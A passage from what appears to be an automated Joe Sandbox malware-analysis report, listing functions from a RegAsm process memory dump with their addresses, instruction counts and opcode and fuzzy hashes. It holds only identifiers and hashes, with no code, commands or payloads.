                                • Opcode Fuzzy Hash: ea0b680ceb53a34d65a09dec4fe500873d1e5220300e3bc9887ac4018915d232
                                • Instruction Fuzzy Hash: 4D319175E0272CAFDB25DB64CC40B9EB7B9AF85310F140199A54CAB280DB319D84CF59
                                Function 03055702 Relevance: .1, Instructions: 104COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 8ab47f9eff8891ae1bbcecf4255a947c383533d6998a673beba01ddc7f521664
                                • Instruction ID: 9b2ba344352679e78c44edeb5f22df991ca9c59593c2b85a3b0c0bf463ec042d
                                • Opcode Fuzzy Hash: 8ab47f9eff8891ae1bbcecf4255a947c383533d6998a673beba01ddc7f521664
                                • Instruction Fuzzy Hash: 3631C039602A06EFCB55DB24DD80A9BFBA9FF85714F041065E9424BA50D770E920CBD0
                                Function 03054260 Relevance: .1, Instructions: 102COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 1d812e3c55d0fef08f396e7e0374403b1007c4621de271aebe78556d9d85239e
                                • Instruction ID: 07c442ec6a599ad668f8ddba8b1d71b591c155717a37b22e68894a03f57277f6
                                • Opcode Fuzzy Hash: 1d812e3c55d0fef08f396e7e0374403b1007c4621de271aebe78556d9d85239e
                                • Instruction Fuzzy Hash: BB41BF75202B44DFC766CF25C881FDBBBE9AF49354F058829E9998B360C774E844CB90
                                Function 030750E4 Relevance: .1, Instructions: 101COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 9736ef1e2d2fe6ed3e8edd6ff05ccc53a0216fb05e956db353e68a80ecb75403
                                • Instruction ID: 0306bde726e81645a3741974cad0ae8677aa9b1b0705e544e2a1c5a40c017634
                                • Opcode Fuzzy Hash: 9736ef1e2d2fe6ed3e8edd6ff05ccc53a0216fb05e956db353e68a80ecb75403
                                • Instruction Fuzzy Hash: 1E310631B0A3419BD761DA1CCC00BEBF7E4EB86751F0C8569F4858B384D674C841C7A6
                                Function 031161C3 Relevance: .1, Instructions: 97COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 1cfea87208fb4bde90dc969e7b8c27b27c33d4ced86bc4910321aee1005395b7
                                • Instruction ID: a19af3a7035f8e9e71fb8e3b478a00b09b3ceaee7efa472780b798f7af861117
                                • Opcode Fuzzy Hash: 1cfea87208fb4bde90dc969e7b8c27b27c33d4ced86bc4910321aee1005395b7
                                • Instruction Fuzzy Hash: AB31C179A00219ABDB15DF98CC40BEEF7B9EB8CB40F454169E800AB244D775ED51CBA4
                                Function 031160B8 Relevance: .1, Instructions: 95COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 0dfa4375160d1a13de678a529e8365ab2908ff2318d87ee4d1820d9dac233ea5
                                • Instruction ID: e3b2414dcca9a4d6751b305543dc9609ff79947a95252980b4002eaf694433ba
                                • Opcode Fuzzy Hash: 0dfa4375160d1a13de678a529e8365ab2908ff2318d87ee4d1820d9dac233ea5
                                • Instruction Fuzzy Hash: 8C31F479600605AFDB16DF99C850BEEB7B9AF8C710F050079E955DB341DB31DC108B90
                                Function 030507AF Relevance: .1, Instructions: 95COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: ec84d7e540dffcf9c4d28f8172b8a2d0fcc1294072a11860ac1cbe2371369b00
                                • Instruction ID: c62cc0bbb6feee2f05168de24319d70c8c9df65366e45d566e43eee11e010b3f
                                • Opcode Fuzzy Hash: ec84d7e540dffcf9c4d28f8172b8a2d0fcc1294072a11860ac1cbe2371369b00
                                • Instruction Fuzzy Hash: 1931C076A06712EBC711DE68C880EBFBBE5AFC5360F054969FC95AB210DA30DC0187E1
                                Function 0304D6AA Relevance: .1, Instructions: 93COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 759af7da7484718429cce7f3e89ec17e8e493d8f66f8a62f4e587b70ab487789
                                • Instruction ID: 1dd2585f6b79bbc7378c3640e9fda3284b1c47dae3b5614b00ccd730776a9861
                                • Opcode Fuzzy Hash: 759af7da7484718429cce7f3e89ec17e8e493d8f66f8a62f4e587b70ab487789
                                • Instruction Fuzzy Hash: 0631C1B6A03604AFDB61DE58DA84B6FB3E9DB80750F1D8479ED059B252E330DE40CB50
                                Function 030557C0 Relevance: .1, Instructions: 92COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 21968a7a0169120ac7cb80ed25941952d7f5bbe533fa6436058517d5dfacde4f
                                • Instruction ID: 2e0904be57f84aa1e114d138116068a0d757515e123c501e5275ee8b35e2303c
                                • Opcode Fuzzy Hash: 21968a7a0169120ac7cb80ed25941952d7f5bbe533fa6436058517d5dfacde4f
                                • Instruction Fuzzy Hash: 3F31A039616A09FFDB55DB24DE40AABBBA6FF85210F445065ED418BB50D731E930CBC0
                                Function 0308A6C7 Relevance: .1, Instructions: 92COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                                • Instruction ID: 9a68d83a87a0edf701788d790e7e37fee8d28a66e878bb9f8ca680e985f4cc11
                                • Opcode Fuzzy Hash: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                                • Instruction Fuzzy Hash: 92313E72B02B41AFD764DF69CD40B5BB7F8BF48650F08092EA59AC3B50E630E900DB64
                                Function 0307438F Relevance: .1, Instructions: 89COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 4fc384c6ba6efc09e14159ecf1546b33f4cf5d8f67ec0b8c0e7518e6c2bca94d
                                • Instruction ID: 9fe4c4feb0bc66332d25c4767eb6ea34f6c63427a366df48bdefedf7d3cbc69a
                                • Opcode Fuzzy Hash: 4fc384c6ba6efc09e14159ecf1546b33f4cf5d8f67ec0b8c0e7518e6c2bca94d
                                • Instruction Fuzzy Hash: C431D136F023059FCB24EFAAC980AAEB7F9BB84304F00852AD046D7654D730ED41CB95
                                Function 030592C5 Relevance: .1, Instructions: 89COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
                                • Instruction ID: c91d557f376759ad5c71a2615f8ab1e677a964ecbdb410915be2c44b4d997680
                                • Opcode Fuzzy Hash: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
                                • Instruction Fuzzy Hash: D93145B560A349DFCB01DF18D84099BBBE9EB99350F04096AFC519B3A1D731DD04CBA6
                                Function 030A7190 Relevance: .1, Instructions: 89COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 3d9f232daa6456112ef7cca9ac13d1ecc1d2608bc40d33be58fee952b0e99bbe
                                • Instruction ID: 747ddf03c2dc6ec6965cd7ad854a5abed7870a70d8d831fea6b0e962f779898d
                                • Opcode Fuzzy Hash: 3d9f232daa6456112ef7cca9ac13d1ecc1d2608bc40d33be58fee952b0e99bbe
                                • Instruction Fuzzy Hash: 10316536605606CFC750CF9CD48095AFBF5FF89710B2886A9E9489B325E730ED06CB91
                                Function 0310C3CD Relevance: .1, Instructions: 88COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                • Instruction ID: 4c25c571bf9676d6127e2e4a4089ecd25a38b0e3f358c6cc44b6b6c7c7aa224e
                                • Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                • Instruction Fuzzy Hash: 7621E53E600651A7CB14EBA5C800ABAF7B8AF84710F44811AF996CE6D2E774D940CBE0
                                Function 0304C156 Relevance: .1, Instructions: 88COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 6982920003efb31789a4dbc7b3863a1e94509e14e01a004f9d23fd760485dcfe
                                • Instruction ID: daffc2be7ee18d2100152372a6e53171899621d4a9e8f6d4081b97c4d1377c82
                                • Opcode Fuzzy Hash: 6982920003efb31789a4dbc7b3863a1e94509e14e01a004f9d23fd760485dcfe
                                • Instruction Fuzzy Hash: C5315BB95027008BC724FF58DC50BADB7B8AF85314F4885A9DC859F741EB34D981CB90
                                Function 0304E388 Relevance: .1, Instructions: 86COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                • Instruction ID: bd7062bc4881c10a8b52f39f4d5fe7ba64533f00702addc2db529b28ccba376e
                                • Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                • Instruction Fuzzy Hash: 8031A975601604AFD721CFA8D884F6AB3F8FF84354F1449A9E6428B691E730EE02CB50
                                Function 030CE609 Relevance: .1, Instructions: 86COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 16fbefc77482853f1ed1ecc8cdf1a02e6b00424f0c6705661ee5b4885e8d2d26
                                • Instruction ID: d59c6cbd261d2a47454f9aed159487682c2f94aea84a20ec16f271faa6810631
                                • Opcode Fuzzy Hash: 16fbefc77482853f1ed1ecc8cdf1a02e6b00424f0c6705661ee5b4885e8d2d26
                                • Instruction Fuzzy Hash: 6631A079A21285DFCB18CF1CC8809AEB7F9FF88344B15855DE8099B390E731EA41CB90
                                Function 03053616 Relevance: .1, Instructions: 84COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 511738fca64f882847eca59da15504c898a30ac5164dd67f664c5d4bc5a09b78
                                • Instruction ID: 8f22f8d55d5539c3aacef8af79bbf909a2887e6299e4388fc257167ed0d955cb
                                • Opcode Fuzzy Hash: 511738fca64f882847eca59da15504c898a30ac5164dd67f664c5d4bc5a09b78
                                • Instruction Fuzzy Hash: 4921F13A2073509FCBB1DF04CA58B6BBBE8AB85A65F08489DFC404B655C770E844CB81
                                Function 0307F32A Relevance: .1, Instructions: 79COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                • Instruction ID: e1c0a770e1b8900a9bc606527c90962c9c47dbf6825d50bc1155e9792df28b89
                                • Opcode Fuzzy Hash: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                • Instruction Fuzzy Hash: 2A21A472602305EFC719DF15C441B6AB7E9EF85365F1541ADE10A8B790EB70EC01CB98
                                Function 030D019F Relevance: .1, Instructions: 78COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 57c9c46360273cff5d223df4d72590c78108933e758ee6b7fcfeb843bc1c2642
                                • Instruction ID: 9af80008a183faff8afb457cb74b8b13123c735cb1b35b53c7b95bedb9636f15
                                • Opcode Fuzzy Hash: 57c9c46360273cff5d223df4d72590c78108933e758ee6b7fcfeb843bc1c2642
                                • Instruction Fuzzy Hash: BD219F75601644AFDB15DB68D840F6AB7E8FF88740F140069F908DB6A1D634ED40CBA8
                                Function 03089660 Relevance: .1, Instructions: 78COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: ce4558b99d84da44ecc84d27cbddd3cb17b52569c2939c6b28b8d1b9f776c483
                                • Instruction ID: f279c39263c72d7eba2c7690f2d03773befa6e0dc994fa6b025687299f3e9be2
                                • Opcode Fuzzy Hash: ce4558b99d84da44ecc84d27cbddd3cb17b52569c2939c6b28b8d1b9f776c483
                                • Instruction Fuzzy Hash: EE210534213745DBCB35FF25CD10B3F77E9AB85224F180A5DE8D24A9A4D731A861CB51
                                Function 030D0283 Relevance: .1, Instructions: 74COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 9dcbc6f18a5fc4d2ce919b4ffb2d522fd2bc8fbf871cdb02611c80fb7fd23aed
                                • Instruction ID: ebbc0a97dfdb528f62af448e7d406eb6d53ca68ff4f570d3f348b40f61632f02
                                • Opcode Fuzzy Hash: 9dcbc6f18a5fc4d2ce919b4ffb2d522fd2bc8fbf871cdb02611c80fb7fd23aed
                                • Instruction Fuzzy Hash: 8621B0729063459BC711EF5AD848BABFBECAFC1250F080856BD88CB661D734D908C7A6
                                Function 030CD0C0 Relevance: .1, Instructions: 73COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a31c2c23b4517fa83190f2f071b075dcb825627450a6f94414447da29f9bb9ec
                                • Instruction ID: c0f9d1ac73041367ba8ba98780ae3610df46fd5f071e3fc37fb0d2f7e6e64ab7
                                • Opcode Fuzzy Hash: a31c2c23b4517fa83190f2f071b075dcb825627450a6f94414447da29f9bb9ec
                                • Instruction Fuzzy Hash: 1821BE72656744ABD321DF1CCC41B9EBBE4EB89760F15062EF9499B3A0D330E80097A9
                                Function 0308A30B Relevance: .1, Instructions: 70COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 2545b39b8df121ee6bc93614b4cdf38372d7ddcec269a3c0958760108e4221a0
                                • Instruction ID: 050ac5983308bcb59e262dc95161b43ccab3b62df41c6e7964988b0593d66ce5
                                • Opcode Fuzzy Hash: 2545b39b8df121ee6bc93614b4cdf38372d7ddcec269a3c0958760108e4221a0
                                • Instruction Fuzzy Hash: 2021AC392027419FC724DF29CD00B4AB3F5AF48714F2884A9A449CBB61E331E842CB98
                                Function 0304B765 Relevance: .1, Instructions: 69COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 8654dbfd796f1d16f717126d36ddd0d7b30d1121cba99439a169cde769d9d412
                                • Instruction ID: ba2ad856367a49b73e6d42d8f72022ff7464abf3698b093d487c99d9e19b2100
                                • Opcode Fuzzy Hash: 8654dbfd796f1d16f717126d36ddd0d7b30d1121cba99439a169cde769d9d412
                                • Instruction Fuzzy Hash: 52215576102B00EFC726EF68CA40B9AB7F9FB48718F14497DE0468A6A1C734E940CB44
                                Function 03080124 Relevance: .1, Instructions: 68COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                • Instruction ID: 95586740dea4d4776605c489c8308a190b6a34f72fbce60976480bbf39276a97
                                • Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                • Instruction Fuzzy Hash: 3611E277642704BFEB22EB48CC81F9AB7B8EB80764F140029E6408F190D671ED48CB50
                                Function 03058770 Relevance: .1, Instructions: 68COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 071c713ed537589ec8a04ca12e6cad0bcda374da2566839b691500897f9b571a
                                • Instruction ID: 37caa02e4ee3abe85407904200127b2ed1959f337dd04ef86258a7e7ea8d8ba4
                                • Opcode Fuzzy Hash: 071c713ed537589ec8a04ca12e6cad0bcda374da2566839b691500897f9b571a
                                • Instruction Fuzzy Hash: B411B235702725DBCB55CF59C480A6BB7E9EF8A754B1880A9FD089F205D6B2E9018B90
                                Function 03053720 Relevance: .1, Instructions: 67COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 75a4de7c977e467bb682e158e8019f4e90c2a8c9c84811f7067246bebc5b901d
                                • Instruction ID: cbb39814ff4356c87a448461a7d5baee504a624f75860db7c88c1115f88cf34f
                                • Opcode Fuzzy Hash: 75a4de7c977e467bb682e158e8019f4e90c2a8c9c84811f7067246bebc5b901d
                                • Instruction Fuzzy Hash: C921C879E0220D8BE765DF5DD4487EFB7E4AB88318F198058EC12572D0CBB89945CB54
                                Function 030580E9 Relevance: .1, Instructions: 66COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 96f4caca9f7b58933dd363196177e1ccf4a22a31258f98b1e839540b75568079
                                • Instruction ID: d7b4b9e0db18bae4d0a5e29af840058282a42486e595e70d1435abce9a4e8505
                                • Opcode Fuzzy Hash: 96f4caca9f7b58933dd363196177e1ccf4a22a31258f98b1e839540b75568079
                                • Instruction Fuzzy Hash: BD215B75B01205DFCB14CF98C591AAEBBF9FB89318F24856DE905AB310CB71AD06CB94
                                Function 0308674D Relevance: .1, Instructions: 65COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 218ffb9bf3ab4ca9731e2ae068b87d203d55c443964ed09b629054f5245d9391
                                • Instruction ID: be51d44bdddf444d5607caeb671aecd16c52594e12e8472c32266f8f7ca1d139
                                • Opcode Fuzzy Hash: 218ffb9bf3ab4ca9731e2ae068b87d203d55c443964ed09b629054f5245d9391
                                • Instruction Fuzzy Hash: 37218E75602B04EFD764EF69C840B6AB3E8FF84250F45882DE59AC7250DB31A840CBA4
                                Function 03049240 Relevance: .1, Instructions: 64COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 340c38a9802834286cae617be675f01e90f3e2e82c5a4bf777094bf721be4548
                                • Instruction ID: 9d0d5f52f23b6c552be5367851519fe631dae39802b33a2afc1bec650037955e
                                • Opcode Fuzzy Hash: 340c38a9802834286cae617be675f01e90f3e2e82c5a4bf777094bf721be4548
                                • Instruction Fuzzy Hash: C31101BE122201AAD728FF55EA01A727BF8EB9DB84F144425E8009B358E334DD81CB74
                                Function 030866B0 Relevance: .1, Instructions: 61COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: c6b54e595ab25afe3a7b175dbad28d3b1aee80d27e9ba5c88f6417433d27fa60
                                • Instruction ID: 647d2a8bd0c78aa3945892eb612d2c8794b39978ae8eeb15f9aeb4128421bb8e
                                • Opcode Fuzzy Hash: c6b54e595ab25afe3a7b175dbad28d3b1aee80d27e9ba5c88f6417433d27fa60
                                • Instruction Fuzzy Hash: A311C17AA02208DFCB24EF59C680A5BBBE8AF88710B064079DA459B314DB30DD00CBE0
                                Function 030727ED Relevance: .1, Instructions: 58COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: fee1831feb1d0d573242852c15d8ff24bd9ff6c113873df43080eb0fd56f0691
                                • Instruction ID: 01b343da41558760d020b711d2161eeaedb07357a62575804a0e450cb4b74982
                                • Opcode Fuzzy Hash: fee1831feb1d0d573242852c15d8ff24bd9ff6c113873df43080eb0fd56f0691
                                • Instruction Fuzzy Hash: 9B012635707744AFE326E269D854FABA7ECEF84394F0908B5F9058B251DA25DC00C2B5
                                Function 0307B052 Relevance: .1, Instructions: 57COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 22a678c8fecbcd8e31d0783a1f460b4c0075ebcd188404aa3171391a2b32f9cb
                                • Instruction ID: 73520a09ef46316f93f10213a4f6d2cb02c085314e8e5795f4dda16a58ea02d4
                                • Opcode Fuzzy Hash: 22a678c8fecbcd8e31d0783a1f460b4c0075ebcd188404aa3171391a2b32f9cb
                                • Instruction Fuzzy Hash: AC019676F053406FD710EB699C81FEFBAE8DFC4614F040429E615D7241E770E9018665
                                Function 03054690 Relevance: .1, Instructions: 57COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: d8d6fa040a3853ce570b865d64a958fd567ea2850a7acb89f349b33636526e63
                                • Instruction ID: ad517f6317060223fda4bff228354d03d021439f8e32e34e9fb04412edc4cd88
                                • Opcode Fuzzy Hash: d8d6fa040a3853ce570b865d64a958fd567ea2850a7acb89f349b33636526e63
                                • Instruction Fuzzy Hash: 7F11A3392027589FDB25CF5AD844B9BBBE8EB86764F044515FC148B250C770E880CF60
                                Function 0310D6F0 Relevance: .1, Instructions: 57COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
